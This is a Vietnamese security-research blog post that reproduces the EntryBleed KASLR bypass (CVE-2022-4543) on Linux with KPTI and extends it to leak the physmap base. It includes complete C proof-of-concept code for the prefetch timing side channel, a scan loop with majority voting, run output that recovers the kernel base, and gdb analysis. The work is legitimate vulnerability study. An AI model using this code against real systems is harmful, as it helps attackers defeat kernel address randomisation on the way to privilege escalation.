CVE-2022-4543 > Experimenting with EntryBleed - A Universal KASLR Bypass against KPTI on Linux
Trampoline region trong KPTI user page table bị cached vào TLB, cho phép dò KASLR offset từ userspace qua prefetch side-channel.
Introduction
Theo bài báo “EntryBleed: A Universal KASLR Bypass against KPTI on Linux”, đây design flaw trong KPTI (Kernel Page-Table Isolation) chứ ko phải 1 lỗi bình thường. Dù KPTI cố gắng tách biệt hoàn toàn page table của kernel và userspace, nhưng vẫn phải giữ 1 vùng nhỏ kernel code có tên là trampoline region được map vào user page table để xử lý syscall, interrupt, và exception.
Vấn đề đó là TLB (Translation Lookaside Buffer) cache lại địa chỉ vật lý của vùng trampoline này ngay trước khi CPU quay trở lại userspace. Những entry này trong TLB sau đó có thể đc dò qua prefetch side-channel, cho phép leak địa chỉ kernel của entry_SYSCALL_64 dẫn đến bypass KASLR.
Ở bài viết này mình sẽ thử reproduce lại attack này và thử mở rộng áp dụng và leak địa chỉ của các vùng khác.
Root cause
Root cause của attack nằm ở cách entry_SYSCALL_64 được implement trong arch/x86/entry/entry_64.S.
SYM_CODE_START(entry_SYSCALL_64)
UNWIND_HINT_ENTRY
ENDBR
swapgs
/* tss.sp2 is scratch space. */
movq %rsp, PER_CPU_VAR(cpu_tss_rw + TSS_sp2)
SWITCH_TO_KERNEL_CR3 scratch_reg=%rsp // Instructions above must be mapped in userspace
movq PER_CPU_VAR(cpu_current_top_of_stack), %rsp
SYM_INNER_LABEL(entry_SYSCALL_64_safe_stack, SYM_L_GLOBAL)
ANNOTATE_NOENDBR
/* Construct struct pt_regs on stack */
pushq $__USER_DS /* pt_regs->ss */
pushq PER_CPU_VAR(cpu_tss_rw + TSS_sp2) /* pt_regs->sp */
pushq %r11 /* pt_regs->flags */
pushq $__USER_CS /* pt_regs->cs */
pushq %rcx /* pt_regs->ip */
SYM_INNER_LABEL(entry_SYSCALL_64_after_hwframe, SYM_L_GLOBAL)
pushq %rax /* pt_regs->orig_ax */
PUSH_AND_CLEAR_REGS rax=$-ENOSYS
/* IRQs are off. */
movq %rsp, %rdi
/* Sign extend the lower 32bit as syscall numbers are treated as int */
movslq %eax, %rsi
/* clobbers %rax, make sure it is after saving the syscall nr */
IBRS_ENTER
UNTRAIN_RET
CLEAR_BRANCH_HISTORY
call do_syscall_64 /* returns with IRQs disabled */
/*
* Try to use SYSRET instead of IRET if we're returning to
* a completely clean 64-bit userspace context. If we're not,
* go to the slow exit path.
* In the Xen PV case we must use iret anyway.
*/
ALTERNATIVE "testb %al, %al; jz swapgs_restore_regs_and_return_to_usermode", \
"jmp swapgs_restore_regs_and_return_to_usermode", X86_FEATURE_XENPV
/*
* We win! This label is here just for ease of understanding
* perf profiles. Nothing jumps here.
*/
syscall_return_via_sysret:
IBRS_EXIT
POP_REGS pop_rdi=0
/*
* Now all regs are restored except RSP and RDI.
* Save old stack pointer and switch to trampoline stack.
*/
movq %rsp, %rdi
movq PER_CPU_VAR(cpu_tss_rw + TSS_sp0), %rsp
UNWIND_HINT_END_OF_STACK
pushq RSP-RDI(%rdi) /* RSP */
pushq (%rdi) /* RDI */
/*
* We are on the trampoline stack. All regs except RDI are live.
* We can do future final exit work right here.
*/
STACKLEAK_ERASE_NOCLOBBER
SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi
popq %rdi
popq %rsp
SYM_INNER_LABEL(entry_SYSRETQ_unsafe_stack, SYM_L_GLOBAL)
ANNOTATE_NOENDBR
swapgs
CLEAR_CPU_BUFFERS
sysretq
SYM_INNER_LABEL(entry_SYSRETQ_end, SYM_L_GLOBAL)
ANNOTATE_NOENDBR
int3
SYM_CODE_END(entry_SYSCALL_64)Prologue và epilogue của hàm này thực thi khi CR3 vẫn giữ user page table, cho nên CR3 switch sang kernel (vốn TLB bị flush khi thay đổi CR3) ko còn tác dụng khi switch về user. Kết quả là trampoline region vẫn cached trong TLB.
Thêm nữa, theo như trong bài báo, trampoline page được mark với global bit (G), explicitly ngăn TLB bị flush khi CR3 switch, với mục đích là tối ưu hiệu năng cho kernel code chia sẻ giữa tất cả processes.
Vấn đề khó patch vì syscall entry phải nằm trong userspace để CPU có thể nhảy vào kernel. Sửa ở hardware cũng khó vì cần thay đổi instruction set về cơ chế prefetch. Đó là lý do EntryBleed vẫn hoạt động trên kernel hiện đại.
Attack strategy
Chiến lược attack có 3 bước:
Gọi một syscall từ userspace để CPU cache trampoline region (chứa
entry_SYSCALL_64) vào TLB. DùCR3được switch sang kernel page table, epilogue code của hàm vẫn chạy khiCR3còn là user page table, nên vẫn ở trong TLB.Prefetch tất cả các địa chỉ base khả thi của kernel trong phạm vi bắt đầu từ
0xffffffff81000000. Mỗi prefetch được đo bằngrdtscpinstruction để lấy số cycle thực thi. Dùng serializing instructions nhưcpuidhoặcmfenceđể tránh out-of-order execution.
Lệnh
cpuidvàmfencegiống như như các rào chắn serialization nhằm ngăn CPU thực thi lệnh out-of-order, đảm bảo bộ đếm thời gianrdtsc/rdtscpđo chính xác prefetch latency của mã nằm giữa chúng.
- Địa chỉ nào có latency ngắn nhất chính là page chứa
entry_SYSCALL_64đang cached trong TLB, trừ đi offset tính được kernel base.

KPTI Enabled
Kernel base leak
Bare metal Ubuntu 24.04
Mình sẽ xây dựng lại PoC trên máy host của mình với OS là Ubuntu 24.04 kernel version 6.17.0, CPU là Core i5 đời 12.
ngtuonghung:~$ uname -a
Linux ngtuonghung-ubuntu 6.17.0-22-generic #22~24.04.1-Ubuntu SMP PREEMPT_DYNAMIC Thu Mar 26 15:25:54 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
ngtuonghung:~$ cat /proc/cpuinfo | grep model
model : 154
model name : 12th Gen Intel(R) Core(TM) i5-12500HTrên các chip CPU Intel hiện đại, vì đã có mitigations cho lỗ hổng Meltdown, nên Ubuntu mặc định tắt KPTI:
ngtuonghung:~$ cat /sys/devices/system/cpu/vulnerabilities/meltdown
Not affected
ngtuonghung:~$ cat /proc/cmdline
BOOT_IMAGE=/vmlinuz-6.17.0-22-generic root=/dev/mapper/ubuntu--vg-ubuntu--lv ro quiet splash vt.handoff=7
ngtuonghung:~$ cat /proc/cpuinfo | grep " pti "
ngtuonghung:~$ Để đúng với tinh thần của attack, mình sẽ bật lại:
ngtuonghung:~$ sudo vi /etc/default/grub # GRUB_CMDLINE_LINUX_DEFAULT="quiet splash pti=on"
ngtuonghung:~$ sudo update-grub
ngtuonghung:~$ sudo rebootngtuonghung:~$ cat /proc/cmdline
BOOT_IMAGE=/vmlinuz-6.17.0-22-generic root=/dev/mapper/ubuntu--vg-ubuntu--lv ro quiet splash pti=on vt.handoff=7
ngtuonghung:~$ cat /proc/cpuinfo | grep " pti " | head -1
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm constant_tsc art arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc cpuid aperfmperf tsc_known_freq pni pclmulqdq dtes64 monitor ds_cpl vmx smx est tm2 ssse3 sdbg fma cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand lahf_lm abm 3dnowprefetch cpuid_fault epb pti ssbd ibrs ibpb stibp ibrs_enhanced tpr_shadow flexpriority ept vpid ept_ad fsgsbase tsc_adjust bmi1 avx2 smep bmi2 erms invpcid rdseed adx smap clflushopt clwb intel_pt sha_ni xsaveopt xsavec xgetbv1 xsaves split_lock_detect user_shstk avx_vnni dtherm ida arat pln pts hwp hwp_notify hwp_act_window hwp_epp hwp_pkg_req hfi vnmi umip pku ospke waitpkg gfni vaes vpclmulqdq rdpid movdiri movdir64b fsrm md_clear serialize arch_lbr ibt flush_l1d arch_capabilitiesMình tính offset của entry_SYSCALL_64 qua /proc/kallsyms:
ngtuonghung:~$ sudo cat /proc/kallsyms | grep _text | head -n 5
ffffffff9e600000 T _text
ffffffff9e600000 T __pi__text
ffffffff9e600010 T __entry_text_start
ffffffff9e600230 T __irqentry_text_start
ffffffff9e601150 T __irqentry_text_end
ngtuonghung:~$ sudo cat /proc/kallsyms | grep entry_SYSCALL_64
ffffffff9e600080 T entry_SYSCALL_64
ffffffff9e6000a7 T entry_SYSCALL_64_safe_stack
ffffffff9e6000b5 T entry_SYSCALL_64_after_hwframe
ffffffff9e8cd8a0 T xen_entry_SYSCALL_64Vậy offset là 0x80. Offset này có thể khác nhau qua ở các phiên bản. Hoặc là có thể offset bất kỳ trong cùng page của entry_SYSCALL_64.
Mình định nghĩa 1 vài thứ như sau, base đầu tiên bắt đầu từ 0xffffffff81000000, vùng khả dĩ rộng 512MiB đến 0xffffffffa1000000 cho x86, rộng 1GiB đến 0xffffffffc1000000 cho x86_64. Base được align theo 2MiB (0x200000).
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/syscall.h>
#include <unistd.h>
typedef unsigned long long ull;
#define KERNEL_TEXT_LOWER_BOUND 0xffffffff81000000ull
#define KERNEL_TEXT_UPPER_BOUND 0xffffffffc1000000ull
#define KERNEL_SYSCALL_ENTRY_OFFSET 0x80ull
#define KERNEL_SCAN_STEP 0x200000ull
#define KERNEL_SCAN_START (KERNEL_TEXT_LOWER_BOUND + KERNEL_SYSCALL_ENTRY_OFFSET)
#define KERNEL_SCAN_END (KERNEL_TEXT_UPPER_BOUND + KERNEL_SYSCALL_ENTRY_OFFSET)
#define KERNEL_ARR_SIZE ((KERNEL_SCAN_END - KERNEL_SCAN_START) / KERNEL_SCAN_STEP)
#define DUMMY_ITERATIONS 10
#define ITERATIONS 100Hàm đo thời gian prefetch mình lấy từ bài viết gốc của tác giả và bỏ đi 1 số instruction mình nghĩ là ko liên quan:
static uint64_t sidechannel(uint64_t addr) {
uint64_t a, b, c, d;
asm volatile(
".intel_syntax noprefix;"
"mfence;"
"rdtscp;"
"mov %0, rax;"
"mov %1, rdx;"
"lfence;"
"prefetchnta qword ptr [%4];"
"prefetcht2 qword ptr [%4];"
"lfence;"
"rdtscp;"
"mov %2, rax;"
"mov %3, rdx;"
"mfence;"
".att_syntax;"
: "=r"(a), "=r"(b), "=r"(c), "=r"(d)
: "r"(addr)
: "rax", "rbx", "rcx", "rdx"
);
a = (b << 32) | a;
c = (d << 32) | c;
return c - a;
}Prefetch toàn bộ các địa chỉ base khả dĩ và chọn ra base có độ trễ thấp nhất. Trước khi scan thì prefetch vài lần (DUMMY_ITERATIONS) để gợi ý cho CPU rằng vùng trampoline đang đc dùng nhiều gần đây. Lặp ITERATION lần, mỗi lần prefetch toàn bộ base khả dĩ:
static uint64_t leak_kernel_entry(void) {
uint64_t *data = calloc(KERNEL_ARR_SIZE, sizeof(uint64_t));
uint64_t min = ~0ull;
uint64_t addr = 0;
for (int i = 0; i < DUMMY_ITERATIONS; i++)
syscall(SYS_getuid);
for (int i = 0; i < ITERATIONS; i++) {
for (uint64_t idx = 0; idx < KERNEL_ARR_SIZE; idx++) {
syscall(SYS_getuid);
data[idx] += sidechannel(KERNEL_SCAN_START + idx * KERNEL_SCAN_STEP);
}
}
for (uint64_t i = 0; i < KERNEL_ARR_SIZE; i++) {
data[i] /= ITERATIONS;
if (data[i] < min) {
min = data[i];
addr = KERNEL_SCAN_START + i * KERNEL_SCAN_STEP;
printf(" New min: %lu at %#llx\n", min, (ull)addr);
}
}
free(data);
return addr;
}Vì đôi khi noise có thể gây lệch thời gian đo đc, đưa ra sai kernel base, nên mình đo nhiều lần và chọn ra kết quả xuất hiện nhiều nhất:
int main(void) {
uint32_t hits[KERNEL_ARR_SIZE] = {0};
uint32_t most_hits = 0;
uint64_t best_base = 0;
int attempts = 10;
for (int i = 0; i < attempts; i++) {
printf("[entrybleed] Attempt %d\n", i + 1);
uint64_t entry = leak_kernel_entry();
uint64_t potential_base = entry - KERNEL_SYSCALL_ENTRY_OFFSET;
printf("[entrybleed] Potential base: %#llx\n", (ull)potential_base);
uint64_t idx = (potential_base - KERNEL_TEXT_LOWER_BOUND) / KERNEL_SCAN_STEP;
hits[idx]++;
if (hits[idx] > most_hits) {
most_hits = hits[idx];
best_base = potential_base;
}
}
printf("\nKernel base: %#llx\n", (ull)best_base);
return 0;
}Ok mình chạy thử PoC:
$ ./pwn/entry
[entrybleed] Attempt 1
New min: 155 at 0xffffffff81000080
New min: 149 at 0xffffffff81200080
New min: 148 at 0xffffffff8aa00080
New min: 82 at 0xffffffffa9000080
[entrybleed] Potential base: 0xffffffffa9000000
[entrybleed] Attempt 2
New min: 150 at 0xffffffff81000080
New min: 149 at 0xffffffff81a00080
New min: 148 at 0xffffffff85600080
New min: 82 at 0xffffffffa9000080
[entrybleed] Potential base: 0xffffffffa9000000
[entrybleed] Attempt 3
New min: 149 at 0xffffffff81000080
New min: 148 at 0xffffffff81200080
New min: 147 at 0xffffffff8c600080
New min: 82 at 0xffffffffa9000080
[entrybleed] Potential base: 0xffffffffa9000000
[entrybleed] Attempt 4
New min: 149 at 0xffffffff81000080
New min: 82 at 0xffffffffa9000080
[entrybleed] Potential base: 0xffffffffa9000000
[entrybleed] Attempt 5
New min: 149 at 0xffffffff81000080
New min: 148 at 0xffffffff81200080
New min: 147 at 0xffffffff83e00080
New min: 82 at 0xffffffffa9000080
[entrybleed] Potential base: 0xffffffffa9000000
[entrybleed] Attempt 6
New min: 149 at 0xffffffff81000080
New min: 148 at 0xffffffff81400080
New min: 147 at 0xffffffff83c00080
New min: 81 at 0xffffffffa9000080
[entrybleed] Potential base: 0xffffffffa9000000
[entrybleed] Attempt 7
New min: 149 at 0xffffffff81000080
New min: 148 at 0xffffffff82400080
New min: 82 at 0xffffffffa9000080
[entrybleed] Potential base: 0xffffffffa9000000
[entrybleed] Attempt 8
New min: 149 at 0xffffffff81000080
New min: 148 at 0xffffffff81200080
New min: 147 at 0xffffffff83400080
New min: 81 at 0xffffffffa9000080
[entrybleed] Potential base: 0xffffffffa9000000
[entrybleed] Attempt 9
New min: 149 at 0xffffffff81000080
New min: 148 at 0xffffffff81400080
New min: 147 at 0xffffffffa4a00080
New min: 81 at 0xffffffffa9000080
[entrybleed] Potential base: 0xffffffffa9000000
[entrybleed] Attempt 10
New min: 150 at 0xffffffff81000080
New min: 149 at 0xffffffff81200080
New min: 148 at 0xffffffff83600080
New min: 82 at 0xffffffffa9000080
[entrybleed] Potential base: 0xffffffffa9000000
Kernel base: 0xffffffffa9000000Check xem đúng kernel base chưa:
$ sudo cat /proc/kallsyms | grep _text | head -1
ffffffffa9000000 T _textQEMU/KVM Ubuntu 24.04
Bây giờ mình sẽ test trên môi trường ảo hóa, Ubuntu 24.04 trên QEMU/KVM, mình có thể attach gdb để xem được memory mapping cụ thể hơn. Mình cần bật CPU passthrough để sử dụng toàn bộ tính năng của CPU thật (cần có KVM), và vẫn có KPTI enabled.
Trong bài báo có nhắc tới các các yếu tố khác có thể ảnh hưởng tới kết quả trên môi trường ảo hóa, nhưng ở đây mình chỉ test với các option mặc định. EPT và VPID được bật (
grep -E -wo 'vmx|ept|vpid|npt' /proc/cpuinfo | sort | uniq).

Mình khởi động máy và attach gdb, break tại entry_SYSCALL_64 của thread nào đó:
pwndbg> vmmap text
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File (set vmmap-prefer-relpaths on)
0xffffff71001f5000 0xffffff71001f6000 r--p 1000 1f0000 espfix
► 0xffffffff89400000 0xffffffff89600000 r-xp 200000 0 kernel [.text]
pwndbg> b *0xffffffff89400000+0x80 thread 1
Breakpoint 2 at 0xffffffff89400080
pwndbg> c
Continuing.
[Switching to Thread 1.1]Nhớ lại rằng prologue của hàm thực thi trước khi cả switch page table, nên cần phải map code vào cả userspace:

Chỉ 1 vùng nhỏ được map:
pwndbg> vmmap kernel
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File (set vmmap-prefer-relpaths on)
0xffffff71001f5000 0xffffff71001f6000 r--p 1000 1f0000 espfix
► 0xffffffff89400000 0xffffffff89600000 r-xp 200000 0 kernel [.text]
pwndbg>Sau khi đổi sang page table của kernel:

Toàn bộ mapping của kernel code:
pwndbg> vmmap kernel
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File (set vmmap-prefer-relpaths on)
0xffffff71001f5000 0xffffff71001f6000 r--p 1000 1f0000 espfix
► 0xffffffff89400000 0xffffffff8a9b3000 r-xp 15b3000 0 kernel [.text]
► 0xffffffff8aa00000 0xffffffff8b9ea000 r--p fea000 1600000 kernel [.rodata]
► 0xffffffff8ba00000 0xffffffff8beb0000 rw-p 4b0000 0 kernel [.bss]
► 0xffffffff8c3d5000 0xffffffff8c3e6000 rw-p 11000 9d5000 kernel [.bss]
► 0xffffffff8c3e6000 0xffffffff8c3e7000 r--p 1000 9e6000 kernel [.rodata]
► 0xffffffff8c3e7000 0xffffffff8ca00000 rw-p 619000 9e7000 kernel [.bss]
► 0xffffffffc00d7000 0xffffffffc00d8000 rw-p 1000 0 kernel [.bss]
...
...
...PoC vẫn hoạt động như dự kiến:

VMWare/Virtualbox Ubuntu 24.04
Trên VMWare và Virtualbox, PoC đều hoạt động ok:

Physmap base leak
Với việc leak physmap base, mình cần để ý tới RAM đc cấp phát, ví dụ ở đây máy ảo đc cấp 8GiB. Và mình test với QEMU/KVM có gdb chi tiện:

Dựa vào đâu để mình leak physmap base? Trước khi đổi sang page table của kernel, hàm còn dùng đến một địa chỉ nằm ở physmap để lưu RSP hiện tại của userspace, mình sẽ dựa vào đây để leak physmap vì nó cũng đc cache vào TLB.

Mình cũng ko hiểu rõ đây là địa chỉ gì, dựa vào source code đó là PER_CPU_VAR(cpu_tss_rw + TSS_sp2), có vẻ nó khác nhau cho từng CPU core. Vậy khi prefetch, mình cần phải pin vào 1 CPU core nào đó. Địa chỉ này được bởi công thức sau:
pwndbg> p/x $gs_base + $rip+8 + 0x2fa2f89
$5 = 0xffff8a9b37b85014Mình biết RIP, biết relative offset, nhưng ko thế nào có được GS_BASE của kernel sau khi swapgs. GS_BASE của userspace thì toàn là 0x0. Tất nhiên mình ko có quyền để đọc GS_BASE của kernel rồi.
Mình xem địa chỉ này nằm ở đâu trước khi đổi page table:

Sau khi đổi page table, nằm tại offset 0x277b85014 so với base. Và mình để ý rằng nó luôn kết thúc với 0x5014, giá trị này có thể khác ở các phiên bản khác nhau, các distribution khác nhau.
pwndbg> xinfo 0xffff8a9b37b85014
Extended information for virtual address 0xffff8a9b37b85014:
Containing mapping:
0xffff8a9ae91e7000 0xffff8a9b40000000 rw-p 56e19000 0 physmap
Offset information:
Mapped Area 0xffff8a9b37b85014 = 0xffff8a9ae91e7000 + 0x4e99e014
File (Base) 0xffff8a9b37b85014 = 0xffff8a98c0000000 + 0x277b85014
Exception occurred: xinfo: [Errno File 'physmap' does not exist] 2 (<class 'OSError'>)
For more info invoke `set exception-verbose on` and rerun the command
or debug it by yourself with `set exception-debugger on`Cách khoảng 132MiB so với physmap end.
pwndbg> vmmap 0xffff8a9b37b85014
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File (set vmmap-prefer-relpaths on)
0xffff8a9ae91e6000 0xffff8a9ae91e7000 r--p 1000 0 physmap
► 0xffff8a9ae91e7000 0xffff8a9b40000000 rw-p 56e19000 0 physmap +0x4e99e014
0xffffd0e740000000 0xffffd0e740004000 rw-p 4000 0 vmalloc
pwndbg> dist 0xffff8a9b37b85014 0xffff8a9b40000000
0xffff8a9b37b85014->0xffff8a9b40000000 is 0x847afec bytes (0x108f5fd words)
pwndbg> p 0x847afec/0x100000
$6 = 132Mà size của physmap là 10GiB. Mình để ý rằng địa chỉ này nằm ở đuôi của physmap có size khoảng 1/60 size của physmap.
pwndbg> vmmap phys
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File (set vmmap-prefer-relpaths on)
0x7ffdb48af000 0x7ffdb48bf000 rw-p 10000 0 userland [stack]
► 0xffff8a98c0000000 0xffff8a98c0098000 rw-p 98000 0 physmap
► 0xffff8a98c0098000 0xffff8a98c0099000 r--p 1000 98000 physmap
► 0xffff8a98c0099000 0xffff8a98c009b000 r-xp 2000 99000 physmap
...
...
...
► 0xffff8a9ae91e6000 0xffff8a9ae91e7000 r--p 1000 0 physmap
► 0xffff8a9ae91e7000 0xffff8a9b40000000 rw-p 56e19000 0 physmap
0xffffd0e740000000 0xffffd0e740004000 rw-p 4000 0 vmalloc
pwndbg> p/x 0xffff8a9b40000000 - 0xffff8a98c0000000
$7 = 0x280000000
pwndbg> p 0x280000000/0x40000000
$8 = 10Ủa nhưng sao lại là 10GiB? Mình cấp phát 8GiB thôi mà? Ban đầu mình nghĩ đơn giản là do có vùng nào đó bị reserved nên chỉ cần cộng thêm 2GiB, nhưng lý do là ở vùng địa chỉ ngay dưới 4GiB, x86_64 reversed 1 chút để dành cho các thiết bị PCI gì đó mình ko rõ. Nên phần RAM trên 4GiB bị đẩy lên thêm một vài GiB.
Vậy làm sao để biết đc size chính xác của physmap từ userspace? Mình có thể lấy thông qua:
$ ls /sys/firmware/memmap
0 1 2 3 4 5 6 7 8 9
$ ls /sys/firmware/memmap/*
/sys/firmware/memmap/0:
end start type
/sys/firmware/memmap/1:
end start type
/sys/firmware/memmap/2:
end start type
/sys/firmware/memmap/3:
end start type
/sys/firmware/memmap/4:
end start type
/sys/firmware/memmap/5:
end start type
/sys/firmware/memmap/6:
end start type
/sys/firmware/memmap/7:
end start type
/sys/firmware/memmap/8:
end start type
/sys/firmware/memmap/9:
end start typeMình chỉ cần tìm type là System RAM với end là lớn nhất.

Chính là:
pwndbg> p/x 0xffff8a9b40000000 - 0xffff8a98c0000000
$7 = 0x280000000Scan strategy
Vì vùng virtual memory của physmap rất rộng, 64TiB, base được align theo 1GiB, tuy nhiên KASLR chỉ randomize trong khoảng chưa đến 30TiB từ 0xffff888000000000, nên có khoảng 30k số base khả dĩ. Và với địa chỉ ở physmap đc dùng trước khi đổi page table, mình mới chỉ biết nó nằm ở đuôi physmap, size = 1/60 size của physmap. Nên với mỗi base mình cũng lại scan qua các địa chỉ sử dụng mà mình cho là khả dĩ. Và mình còn cần phải lặp nhiều lần với mỗi base để lấy trung bình tránh noise, nên tổng số vòng lặp cần chạy lên tới trăm triệu.
Vậy nên chiến thuật của mình là:
- Chỉ scan 2-4 lần với toàn bộ địa chỉ khả dĩ.
- Chọn ra winner của mỗi base (địa chỉ có prefetch time ngắn nhất).
- Chỉ giữ lại một phần của các winner (sắp xếp tăng dần và bỏ đi các winner ở cuối), tiếp tục đo lại các địa chỉ được giữ lại với số lần lớn hơn nhiều (ví dụ vài trăm lần).
- Với các kết quả đo được, lại sắp xếp tăng dần và bỏ đi 1 phần ở cuối, rồi lại tiếp tục đo lại các địa chỉ được giữ lại với số lần tăng dần theo hệ số nhân.
- Lặp lại cho đến khi chỉ còn 1 winner cuối.
Ý tưởng của mình tránh việc đo toàn bộ địa chỉ khả dĩ cả trăm lần (giống như leak kernel base), có thể lên đến cả chục tỉ vòng lặp. Mình sẽ cắt dần các địa chỉ đc xem xét qua các vòng. Càng về cuối, các địa chỉ càng có khả năng là prefetch time trung bình gần giống nhau nên mình tăng số lần lặp để phân biệt tốt hơn:
Mình ko thực sự đảm bảo luôn cho ra base đúng, nhưng mình test nhiều lần với Ubuntu 24.04 trên QEMU, VMware, Virtualbox và bare metal đều đc. Với bare metal làm sao để mình xác nhận physmap base là đúng? Mình viết một kernel module để in physmap base ra dmesg.
Tuy nhiên, thời gian chạy phụ thuộc vào lượng RAM hiện có bởi vì mình chưa biết cách xác định offset đến địa chỉ đc dùng trước khi đổi page table, nên phải scan rất nhiều địa chỉ. Với máy mình 16GiB, trên bare metal chạy trong 2 phút, ở ảo hóa có thể hơn.
Với KPTI Enabled, chỉ có 1 phần của physmap, kernel code và có cpu entry area đc map vào userspace. Mình nghĩ việc leak cpu entry area cũng ko có gì thú vị, mà nó còn đc randomize trong range khá lớn từ kernel 6.2 trở đi.
KPTI Disabled
Với KPTI disabled, leak kernel base vẫn hoạt động tốt, nhưng với physmap base thì noise tăng lên đáng kể.
Mình thử test lại với Ubuntu 24.04 QEMU/KVM với pti=on (mặc định trên Ubuntu do CPU đời mới):

Base đúng đã bị loại ở gần vòng cuối.
Lý do là với KPTI bị tắt, userspace và kernelspace sử dụng cùng 1 page table, toàn bộ memory đc map. Khi mình đi vào syscall qua entry_SYSCALL_64 và trở về userspace, ko phải mỗi địa chỉ mình đang target (nơi lưu RSP của userspace) đc cache vào TLB, bởi trong quá trình đó kernel có thể còn sử dụng nhiều địa chỉ khác ở physmap, nhất là heap, nên chúng cũng đc cache vào TLB. Dẫn đến prefetch time của các địa chỉ đó nhìn gần như nhau, rất khó để phân biệt. Cho dù có tăng số lần lặp thì kết quả vẫn vậy.
Còn với các vùng khác như vmalloc, vmemmap mình ko biết nên neo vào địa chỉ nào để prefetch, và chúng đc randomize ở sau physmap với range vẫn rất lớn, nên tìm ra chúng cũng khó.
PoC
PoC của mình đã vibe code tại đây :) https://github.com/ngtuonghung/CVE-2022-4543-EntryBleed/tree/main/pwn